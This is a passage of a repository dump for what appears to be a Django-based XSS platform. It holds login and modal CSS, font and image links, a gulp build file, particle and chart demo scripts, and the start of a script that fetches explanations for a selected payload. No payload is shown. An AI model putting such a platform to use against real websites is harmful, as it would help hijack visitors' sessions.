| 77 | @keyframes sk-rotating-plane{ 78 | 0% { 79 | -webkit-transform: perspective(120px) rotateX(0deg) rotateY(0deg); 80 | transform: perspective(120px) rotateX(0deg) rotateY(0deg); 81 | } 82 | 50% { 83 | -webkit-transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg); 84 | transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg); 85 | } 86 | 100% { 87 | -webkit-transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg); 88 | transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg); 89 | } 90 | } 91 | 92 | @keyframes login-small{ 93 | 0%{ 94 | transform: scale(1);-moz-transform: scale(1); /* Firefox 4 */-webkit-transform: scale(1); /* Safari 和 Chrome */-o-transform: scale(1); /* Opera */-ms-transform:scale(1); /* IE 9 */ 95 | } 96 | 100%{ 97 | transform: scale(0.2);-moz-transform: scale(0.1); /* Firefox 4 */-webkit-transform: scale(0.2); /* Safari 和 Chrome */-o-transform: scale(0.1); /* Opera */-ms-transform:scale(0.1); /* IE 9 */ 98 | } 99 | } 100 | 101 | .login{z-index: 2;position:absolute;width: 350px;border-radius: 5px;height: 400px;background: white;box-shadow: 0px 0px 5px #333333;top: 50%;left: 50%;margin-top: -250px;margin-left: -175px;transition: all 1s;-moz-transition: all 1s; /* Firefox 4 */-webkit-transition: all 1s; /* Safari 和 Chrome */-o-transition: all 1s; /* Opera */} 102 | .login-top{font-size: 24px;margin-top: 50px;padding-left: 40px;box-sizing: border-box;color: #333333;margin-bottom: 50px;} 103 | .login-center{width: 100%;box-sizing: border-box;padding: 0 40px;margin-bottom: 30px;} 104 | .login-center-img{width: 20px;height: 20px;float: left;margin-top: 5px;} 105 | .login-center-img>img{width: 100%;} 106 | .login-center-input{float: left;width: 230px;margin-left: 15px;height: 30px;position: relative;} 107 | .login-center-input input{z-index: 2;transition: all 0.5s;padding-left: 10px;color: #333333;width: 100%;height: 30px;border: 0;border-bottom: 1px solid #cccccc;border-top: 1px solid #ffffff;border-left: 1px solid #ffffff;border-right: 1px solid #ffffff;box-sizing: border-box;outline: none;position: relative;} 108 | .login-center-input input:focus{border: 1px solid dodgerblue;} 109 | .login-center-input-text{background: white;padding: 0 5px;position: absolute;z-index: 0;opacity: 0;height: 20px;top: 50%;margin-top: -10px;font-size: 14px;left: 5px;color: dodgerblue;line-height: 20px;transition: all 0.5s;-moz-transition: all 0.5s; /* Firefox 4 */-webkit-transition: all 0.5s; /* Safari 和 Chrome */-o-transition: all 0.5s; /* Opera */} 110 | .login-center-input input:focus~.login-center-input-text{top: 0;z-index: 3;opacity: 1;margin-top: -15px;} 111 | .login.active{-webkit-animation: login-small 0.8s ; animation: login-small 0.8s ;animation-fill-mode:forwards;-webkit-animation-fill-mode:forwards} 112 | .login-button{cursor: pointer;width: 140px;text-align: center;height: 40px;line-height: 40px;background-color: dodgerblue;border-radius: 5px;margin-top: 10px;color: white;} 113 | .register-button{cursor: pointer;width: 140px;text-align: center;height: 40px;line-height: 40px;background-color: dodgerblue;border-radius: 5px;margin-top: 10px;color: white;} 114 | 115 | -------------------------------------------------------------------------------- /static/user/css/tasksform.css: -------------------------------------------------------------------------------- 1 | @charset "utf-8"; 2 | .mask{margin:0;padding:0;border:none;width:100%;height:100%;background:#333;opacity:0.6;filter:alpha(opacity=60);z-index:9999;position:fixed;top:0;left:0;display:none;} 3 | #Letterinfo{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:500px;height:400px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;} 4 | #Failchange{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:200px;height:60px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;} 5 | #Userinfo{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;border:3px solid #444;border-radius:7px;z-index:10000;display:none;} 6 | #qrcodeform{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:500px;height:500px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;} 7 | .row1{background:#f7f7f7;padding:0px 20px;line-height:50px;height:50px;font-weight:bold;color:#666;font-size:20px;} 8 | .close_btn{font-family:arial;font-size:30px;font-weight:700;color:#999;text-decoration:none;float:right;padding-right:4px;} 9 | #example{position:fixed;left:390px;top:30px;color:White;background:#4490f7;text-decoration:none;padding:10px 95px;margin-left:87px;margin-top:40px;border-radius:5px;opacity:0.6;filter:alpha(opacity=60);} -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Bold.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.eot -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.ttf -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.woff -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.woff2 -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Light.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.eot -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.ttf -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Light.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.woff -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Light.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.woff2 -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Medium.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.eot -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.ttf -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Medium.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.woff -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.woff2 -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.eot -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.ttf -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.woff -------------------------------------------------------------------------------- /static/user/fonts/Ubuntu/Ubuntu-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.woff2 -------------------------------------------------------------------------------- /static/user/gulpfile.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | var gulp = require('gulp'); 4 | var browserSync = require('browser-sync').create(); 5 | var sass = require('gulp-sass'); 6 | var rename = require('gulp-rename'); 7 | var del = require('del'); 8 | var runSequence = require('run-sequence'); 9 | var replace = require('gulp-replace'); 10 | var injectPartials = require('gulp-inject-partials'); 11 | var inject = require('gulp-inject'); 12 | var sourcemaps = require('gulp-sourcemaps'); 13 | var concat = require('gulp-concat'); 14 | var merge = require('merge-stream'); 15 | 16 | gulp.paths = { 17 | dist: 'dist', 18 | }; 19 | 20 | var paths = gulp.paths; 21 | 22 | 23 | 24 | // Static Server + watching scss/html files 25 | gulp.task('serve', ['sass'], function() { 26 | 27 | browserSync.init({ 28 | port: 3000, 29 | server: "./", 30 | ghostMode: false, 31 | notify: false 32 | }); 33 | 34 | gulp.watch('scss/**/*.scss', ['sass']); 35 | gulp.watch('**/*.html').on('change', browserSync.reload); 36 | gulp.watch('js/**/*.js').on('change', browserSync.reload); 37 | 38 | }); 39 | 40 | 41 | 42 | // Static Server without watching scss files 43 | gulp.task('serve:lite', function() { 44 | 45 | browserSync.init({ 46 | server: "./", 47 | ghostMode: false, 48 | notify: false 49 | }); 50 | 51 | gulp.watch('**/*.css').on('change', browserSync.reload); 52 | gulp.watch('**/*.html').on('change', browserSync.reload); 53 | gulp.watch('js/**/*.js').on('change', browserSync.reload); 54 | 55 | }); 56 | 57 | 58 | 59 | gulp.task('sass', function () { 60 | return gulp.src('./scss/style.scss') 61 | .pipe(sourcemaps.init()) 62 | .pipe(sass({outputStyle: 'expanded'}).on('error', sass.logError)) 63 | .pipe(sourcemaps.write('./maps')) 64 | .pipe(gulp.dest('./css')) 65 | .pipe(browserSync.stream()); 66 | }); 67 | 68 | 69 | 70 | gulp.task('sass:watch', function () { 71 | gulp.watch('./scss/**/*.scss'); 72 | }); 73 | 74 | 75 | /*sequence for injecting partials and replacing paths*/ 76 | gulp.task('inject', function() { 77 | runSequence('injectPartial' , 'injectAssets' , 'replacePath'); 78 | }); 79 | 80 | 81 | 82 | /* inject partials like sidebar and navbar */ 83 | gulp.task('injectPartial', function () { 84 | return gulp.src("./**/*.html", { base: "./" }) 85 | .pipe(injectPartials()) 86 | .pipe(gulp.dest(".")); 87 | }); 88 | 89 | 90 | 91 | /* inject Js and CCS assets into HTML */ 92 | gulp.task('injectAssets', function () { 93 | return gulp.src('./**/*.html') 94 | .pipe(inject(gulp.src([ 95 | './vendors/iconfonts/mdi/css/materialdesignicons.min.css', 96 | './vendors/css/vendor.bundle.base.css', 97 | './vendors/css/vendor.bundle.addons.css', 98 | './vendors/js/vendor.bundle.base.js', 99 | './vendors/js/vendor.bundle.addons.js' 100 | ], {read: false}), {name: 'plugins', relative: true})) 101 | .pipe(inject(gulp.src([ 102 | './css/*.css', 103 | './js/off-canvas.js', 104 | './js/misc.js', 105 | ], {read: false}), {relative: true})) 106 | .pipe(gulp.dest('.')); 107 | }); 108 | 109 | 110 | 111 | /*replace image path and linking after injection*/ 112 | gulp.task('replacePath', function(){ 113 | gulp.src('pages/*/*.html', { base: "./" }) 114 | .pipe(replace('src="images/', 'src="../../images/')) 115 | .pipe(replace('href="pages/', 'href="../../pages/')) 116 | .pipe(replace('href="index.html"', 'href="../../index.html"')) 117 | .pipe(gulp.dest('.')); 118 | gulp.src('pages/*.html', { base: "./" }) 119 | .pipe(replace('src="images/', 'src="../images/')) 120 | .pipe(replace('"pages/', '"../pages/')) 121 | .pipe(replace('href="index.html"', 'href="../index.html"')) 122 | .pipe(gulp.dest('.')); 123 | }); 124 | 125 | /*sequence for building vendor scripts and styles*/ 126 | gulp.task('bundleVendors', function() { 127 | runSequence('clean:vendors','copyRecursiveVendorFiles', 'buildBaseVendorStyles','buildBaseVendorScripts', 'buildOptionalVendorScripts'); 128 | }); 129 | 130 | gulp.task('clean:vendors', function () { 131 | return del([ 132 | 'vendors/**/*' 133 | ]); 134 | }); 135 | 136 | /* Copy whole folder of some specific node modules that are calling other files internally */ 137 | gulp.task('copyRecursiveVendorFiles', function() { 138 | return gulp.src(['./node_modules/mdi/**/*']) 139 | .pipe(gulp.dest('./vendors/iconfonts/mdi')); 140 | }); 141 | 142 | /*Building vendor scripts needed for basic template rendering*/ 143 | gulp.task('buildBaseVendorScripts', function() { 144 | return gulp.src([ 145 | './node_modules/jquery/dist/jquery.min.js', 146 | './node_modules/popper.js/dist/umd/popper.min.js', 147 | './node_modules/bootstrap/dist/js/bootstrap.min.js', 148 | './node_modules/perfect-scrollbar/dist/perfect-scrollbar.min.js' 149 | ]) 150 | .pipe(concat('vendor.bundle.base.js')) 151 | .pipe(gulp.dest('./vendors/js')); 152 | }); 153 | 154 | /*Building vendor styles needed for basic template rendering*/ 155 | gulp.task('buildBaseVendorStyles', function() { 156 | return gulp.src(['./node_modules/perfect-scrollbar/css/perfect-scrollbar.css']) 157 | .pipe(concat('vendor.bundle.base.css')) 158 | .pipe(gulp.dest('./vendors/css')); 159 | }); 160 | 161 | /*Building optional vendor scripts for addons*/ 162 | gulp.task('buildOptionalVendorScripts', function() { 163 | return gulp.src([ 164 | 'node_modules/chart.js/dist/Chart.min.js', 165 | ]) 166 | .pipe(concat('vendor.bundle.addons.js')) 167 | .pipe(gulp.dest('./vendors/js')); 168 | }); 169 | gulp.task('default', ['serve']); 170 | -------------------------------------------------------------------------------- /static/user/images/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/bg.jpg -------------------------------------------------------------------------------- /static/user/images/dashboard/circle.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 24 | -------------------------------------------------------------------------------- /static/user/images/faces/face.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/faces/face.jpg -------------------------------------------------------------------------------- /static/user/images/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/favicon.png -------------------------------------------------------------------------------- /static/user/images/icons.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/icons.png -------------------------------------------------------------------------------- /static/user/images/into.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/into.png -------------------------------------------------------------------------------- /static/user/images/logo-mini.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 42 | -------------------------------------------------------------------------------- /static/user/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/logo.png -------------------------------------------------------------------------------- /static/user/img/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/bg.jpg -------------------------------------------------------------------------------- /static/user/img/email.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/email.png -------------------------------------------------------------------------------- /static/user/img/name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/name.png -------------------------------------------------------------------------------- /static/user/img/password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/password.png -------------------------------------------------------------------------------- /static/user/js/app.js: -------------------------------------------------------------------------------- 1 | /* ----------------------------------------------- 2 | /* How to use? : Check the GitHub README 3 | /* ----------------------------------------------- */ 4 | 5 | /* To load a config file (particles.json) you need to host this demo (MAMP/WAMP/local)... */ 6 | /* 7 | particlesJS.load('particles-js', 'particles.json', function() { 8 | console.log('particles.js loaded - callback'); 9 | }); 10 | */ 11 | 12 | /* Otherwise just put the config content (json): */ 13 | 14 | particlesJS('particles-js', 15 | 16 | { 17 | "particles": { 18 | "number": { 19 | "value": 40, 20 | "density": { 21 | "enable": true, 22 | "value_area": 800 23 | } 24 | }, 25 | "color": { 26 | "value": "#ffffff" 27 | }, 28 | "shape": { 29 | "type": "circle", 30 | "stroke": { 31 | "width": 0, 32 | "color": "#000000" 33 | }, 34 | "polygon": { 35 | "nb_sides": 5 36 | }, 37 | "image": { 38 | "src": "img/github.svg", 39 | "width": 100, 40 | "height": 100 41 | } 42 | }, 43 | "opacity": { 44 | "value": 0.7, 45 | "random": false, 46 | "anim": { 47 | "enable": false, 48 | "speed": 1, 49 | "opacity_min": 0.1, 50 | "sync": false 51 | } 52 | }, 53 | "size": { 54 | "value": 3, 55 | "random": true, 56 | "anim": { 57 | "enable": false, 58 | "speed": 40, 59 | "size_min": 0.1, 60 | "sync": false 61 | } 62 | }, 63 | "line_linked": { 64 | "enable": true, 65 | "distance": 150, 66 | "color": "#ffffff", 67 | "opacity": 0.6, 68 | "width": 1 69 | }, 70 | "move": { 71 | "enable": true, 72 | "speed": 6, 73 | "direction": "none", 74 | "random": false, 75 | "straight": false, 76 | "out_mode": "out", 77 | "bounce": false, 78 | "attract": { 79 | "enable": false, 80 | "rotateX": 600, 81 | "rotateY": 1200 82 | } 83 | } 84 | }, 85 | "interactivity": { 86 | "detect_on": "canvas", 87 | "events": { 88 | "onhover": { 89 | "enable": true, 90 | "mode": "grab" 91 | }, 92 | "onclick": { 93 | "enable": true, 94 | "mode": "push" 95 | }, 96 | "resize": true 97 | }, 98 | "modes": { 99 | "grab": { 100 | "distance": 200, 101 | "line_linked": { 102 | "opacity": 1 103 | } 104 | }, 105 | "bubble": { 106 | "distance": 400, 107 | "size": 40, 108 | "duration": 2, 109 | "opacity": 8, 110 | "speed": 3 111 | }, 112 | "repulse": { 113 | "distance": 200, 114 | "duration": 0.4 115 | }, 116 | "push": { 117 | "particles_nb": 4 118 | }, 119 | "remove": { 120 | "particles_nb": 2 121 | } 122 | } 123 | }, 124 | "retina_detect": false 125 | } 126 | 127 | ); -------------------------------------------------------------------------------- /static/user/js/chart.js: -------------------------------------------------------------------------------- 1 | $(function() { 2 | /* ChartJS 3 | * ------- 4 | * Data and config for chartjs 5 | */ 6 | 'use strict'; 7 | var data = { 8 | labels: ["2013", "2014", "2014", "2015", "2016", "2017"], 9 | datasets: [{ 10 | label: '# of Votes', 11 | data: [10, 19, 3, 5, 2, 3], 12 | backgroundColor: [ 13 | 'rgba(255, 99, 132, 0.2)', 14 | 'rgba(54, 162, 235, 0.2)', 15 | 'rgba(255, 206, 86, 0.2)', 16 | 'rgba(75, 192, 192, 0.2)', 17 | 'rgba(153, 102, 255, 0.2)', 18 | 'rgba(255, 159, 64, 0.2)' 19 | ], 20 | borderColor: [ 21 | 'rgba(255,99,132,1)', 22 | 'rgba(54, 162, 235, 1)', 23 | 'rgba(255, 206, 86, 1)', 24 | 'rgba(75, 192, 192, 1)', 25 | 'rgba(153, 102, 255, 1)', 26 | 'rgba(255, 159, 64, 1)' 27 | ], 28 | borderWidth: 1, 29 | fill: false 30 | }] 31 | }; 32 | var multiLineData = { 33 | labels: ["Red", "Blue", "Yellow", "Green", "Purple", "Orange"], 34 | datasets: [{ 35 | label: 'Dataset 1', 36 | data: [12, 19, 3, 5, 2, 3], 37 | borderColor: [ 38 | '#587ce4' 39 | ], 40 | borderWidth: 2, 41 | fill: false 42 | }, 43 | { 44 | label: 'Dataset 2', 45 | data: [5, 23, 7, 12, 42, 23], 46 | borderColor: [ 47 | '#ede190' 48 | ], 49 | borderWidth: 2, 50 | fill: false 51 | }, 52 | { 53 | label: 'Dataset 3', 54 | data: [15, 10, 21, 32, 12, 33], 55 | borderColor: [ 56 | '#f44252' 57 | ], 58 | borderWidth: 2, 59 | fill: false 60 | } 61 | ] 62 | }; 63 | var options = { 64 | scales: { 65 | yAxes: [{ 66 | ticks: { 67 | beginAtZero: true 68 | } 69 | }] 70 | }, 71 | legend: { 72 | display: false 73 | }, 74 | elements: { 75 | point: { 76 | radius: 0 77 | } 78 | } 79 | 80 | }; 81 | var doughnutPieData = { 82 | datasets: [{ 83 | data: [30, 40, 30], 84 | backgroundColor: [ 85 | 'rgba(255, 99, 132, 0.5)', 86 | 'rgba(54, 162, 235, 0.5)', 87 | 'rgba(255, 206, 86, 0.5)', 88 | 'rgba(75, 192, 192, 0.5)', 89 | 'rgba(153, 102, 255, 0.5)', 90 | 'rgba(255, 159, 64, 0.5)' 91 | ], 92 | borderColor: [ 93 | 'rgba(255,99,132,1)', 94 | 'rgba(54, 162, 235, 1)', 95 | 'rgba(255, 206, 86, 1)', 96 | 'rgba(75, 192, 192, 1)', 97 | 'rgba(153, 102, 255, 1)', 98 | 'rgba(255, 159, 64, 1)' 99 | ], 100 | }], 101 | 102 | // These labels appear in the legend and in the tooltips when hovering different arcs 103 | labels: [ 104 | 'Pink', 105 | 'Blue', 106 | 'Yellow', 107 | ] 108 | }; 109 | var doughnutPieOptions = { 110 | responsive: true, 111 | animation: { 112 | animateScale: true, 113 | animateRotate: true 114 | } 115 | }; 116 | var areaData = { 117 | labels: ["2013", "2014", "2015", "2016", "2017"], 118 | datasets: [{ 119 | label: '# of Votes', 120 | data: [12, 19, 3, 5, 2, 3], 121 | backgroundColor: [ 122 | 'rgba(255, 99, 132, 0.2)', 123 | 'rgba(54, 162, 235, 0.2)', 124 | 'rgba(255, 206, 86, 0.2)', 125 | 'rgba(75, 192, 192, 0.2)', 126 | 'rgba(153, 102, 255, 0.2)', 127 | 'rgba(255, 159, 64, 0.2)' 128 | ], 129 | borderColor: [ 130 | 'rgba(255,99,132,1)', 131 | 'rgba(54, 162, 235, 1)', 132 | 'rgba(255, 206, 86, 1)', 133 | 'rgba(75, 192, 192, 1)', 134 | 'rgba(153, 102, 255, 1)', 135 | 'rgba(255, 159, 64, 1)' 136 | ], 137 | borderWidth: 1, 138 | fill: true, // 3: no fill 139 | }] 140 | }; 141 | 142 | var areaOptions = { 143 | plugins: { 144 | filler: { 145 | propagate: true 146 | } 147 | } 148 | } 149 | 150 | var multiAreaData = { 151 | labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], 152 | datasets: [{ 153 | label: 'Facebook', 154 | data: [8, 11, 13, 15, 12, 13, 16, 15, 13, 19, 11, 14], 155 | borderColor: ['rgba(255, 99, 132, 0.5)'], 156 | backgroundColor: ['rgba(255, 99, 132, 0.5)'], 157 | borderWidth: 1, 158 | fill: true 159 | }, 160 | { 161 | label: 'Twitter', 162 | data: [7, 17, 12, 16, 14, 18, 16, 12, 15, 11, 13, 9], 163 | borderColor: ['rgba(54, 162, 235, 0.5)'], 164 | backgroundColor: ['rgba(54, 162, 235, 0.5)'], 165 | borderWidth: 1, 166 | fill: true 167 | }, 168 | { 169 | label: 'Linkedin', 170 | data: [6, 14, 16, 20, 12, 18, 15, 12, 17, 19, 15, 11], 171 | borderColor: ['rgba(255, 206, 86, 0.5)'], 172 | backgroundColor: ['rgba(255, 206, 86, 0.5)'], 173 | borderWidth: 1, 174 | fill: true 175 | } 176 | ] 177 | }; 178 | 179 | var multiAreaOptions = { 180 | plugins: { 181 | filler: { 182 | propagate: true 183 | } 184 | }, 185 | elements: { 186 | point: { 187 | radius: 0 188 | } 189 | }, 190 | scales: { 191 | xAxes: [{ 192 | gridLines: { 193 | display: false 194 | } 195 | }], 196 | yAxes: [{ 197 | gridLines: { 198 | display: false 199 | } 200 | }] 201 | } 202 | } 203 | 204 | var scatterChartData = { 205 | datasets: [{ 206 | label: 'First Dataset', 207 | data: [{ 208 | x: -10, 209 | y: 0 210 | }, 211 | { 212 | x: 0, 213 | y: 3 214 | }, 215 | { 216 | x: -25, 217 | y: 5 218 | }, 219 | { 220 | x: 40, 221 | y: 5 222 | } 223 | ], 224 | backgroundColor: [ 225 | 'rgba(255, 99, 132, 0.2)' 226 | ], 227 | borderColor: [ 228 | 'rgba(255,99,132,1)' 229 | ], 230 | borderWidth: 1 231 | }, 232 | { 233 | label: 'Second Dataset', 234 | data: [{ 235 | x: 10, 236 | y: 5 237 | }, 238 | { 239 | x: 20, 240 | y: -30 241 | }, 242 | { 243 | x: -25, 244 | y: 15 245 | }, 246 | { 247 | x: -10, 248 | y: 5 249 | } 250 | ], 251 | backgroundColor: [ 252 | 'rgba(54, 162, 235, 0.2)', 253 | ], 254 | borderColor: [ 255 | 'rgba(54, 162, 235, 1)', 256 | ], 257 | borderWidth: 1 258 | } 259 | ] 260 | } 261 | 262 | var scatterChartOptions = { 263 | scales: { 264 | xAxes: [{ 265 | type: 'linear', 266 | position: 'bottom' 267 | }] 268 | } 269 | } 270 | // Get context with jQuery - using jQuery's .get() method. 271 | if ($("#barChart").length) { 272 | var barChartCanvas = $("#barChart").get(0).getContext("2d"); 273 | // This will get the first returned node in the jQuery collection. 274 | var barChart = new Chart(barChartCanvas, { 275 | type: 'bar', 276 | data: data, 277 | options: options 278 | }); 279 | } 280 | 281 | if ($("#lineChart").length) { 282 | var lineChartCanvas = $("#lineChart").get(0).getContext("2d"); 283 | var lineChart = new Chart(lineChartCanvas, { 284 | type: 'line', 285 | data: data, 286 | options: options 287 | }); 288 | } 289 | 290 | if ($("#linechart-multi").length) { 291 | var multiLineCanvas = $("#linechart-multi").get(0).getContext("2d"); 292 | var lineChart = new Chart(multiLineCanvas, { 293 | type: 'line', 294 | data: multiLineData, 295 | options: options 296 | }); 297 | } 298 | 299 | if ($("#areachart-multi").length) { 300 | var multiAreaCanvas = $("#areachart-multi").get(0).getContext("2d"); 301 | var multiAreaChart = new Chart(multiAreaCanvas, { 302 | type: 'line', 303 | data: multiAreaData, 304 | options: multiAreaOptions 305 | }); 306 | } 307 | 308 | if ($("#doughnutChart").length) { 309 | var doughnutChartCanvas = $("#doughnutChart").get(0).getContext("2d"); 310 | var doughnutChart = new Chart(doughnutChartCanvas, { 311 | type: 'doughnut', 312 | data: doughnutPieData, 313 | options: doughnutPieOptions 314 | }); 315 | } 316 | 317 | if ($("#pieChart").length) { 318 | var pieChartCanvas = $("#pieChart").get(0).getContext("2d"); 319 | var pieChart = new Chart(pieChartCanvas, { 320 | type: 'pie', 321 | data: doughnutPieData, 322 | options: doughnutPieOptions 323 | }); 324 | } 325 | 326 | if ($("#areaChart").length) { 327 | var areaChartCanvas = $("#areaChart").get(0).getContext("2d"); 328 | var areaChart = new Chart(areaChartCanvas, { 329 | type: 'line', 330 | data: areaData, 331 | options: areaOptions 332 | }); 333 | } 334 | 335 | if ($("#scatterChart").length) { 336 | var scatterChartCanvas = $("#scatterChart").get(0).getContext("2d"); 337 | var scatterChart = new Chart(scatterChartCanvas, { 338 | type: 'scatter', 339 | data: scatterChartData, 340 | options: scatterChartOptions 341 | }); 342 | } 343 | 344 | if ($("#browserTrafficChart").length) { 345 | var doughnutChartCanvas = $("#browserTrafficChart").get(0).getContext("2d"); 346 | var doughnutChart = new Chart(doughnutChartCanvas, { 347 | type: 'doughnut', 348 | data: browserTrafficData, 349 | options: doughnutPieOptions 350 | }); 351 | } 352 | }); -------------------------------------------------------------------------------- /static/user/js/misc.js: -------------------------------------------------------------------------------- 1 | (function($) { 2 | 'use strict'; 3 | $(function() { 4 | var body = $('body'); 5 | var contentWrapper = $('.content-wrapper'); 6 | var scroller = $('.container-scroller'); 7 | var footer = $('.footer'); 8 | var sidebar = $('.sidebar'); 9 | 10 | //Ajax获取explain 11 | $('#selectPayload').change(function () { 12 | var payload_name = $(this).val(); 13 | if(payload_name !=='diy' && payload_name!=='0'){ 14 | $('#diypayload').remove(); 15 | if(payload_name === '基础Payload'){ 16 | $('#keep').append(''); 17 | }else{ 18 | $('#keep1').remove(); 19 | } 20 | $.ajax({ 21 | type: "POST", 22 | url: "/user/ajax_payload_explain/", 23 | data: {payload_name}, 24 | success: function(msg){ 25 | var jsondic = JSON.parse(msg); 26 | $('#explain').html(jsondic.value); 27 | if(jsondic.parameter !== ''){ 28 | $('#addparameter').html('
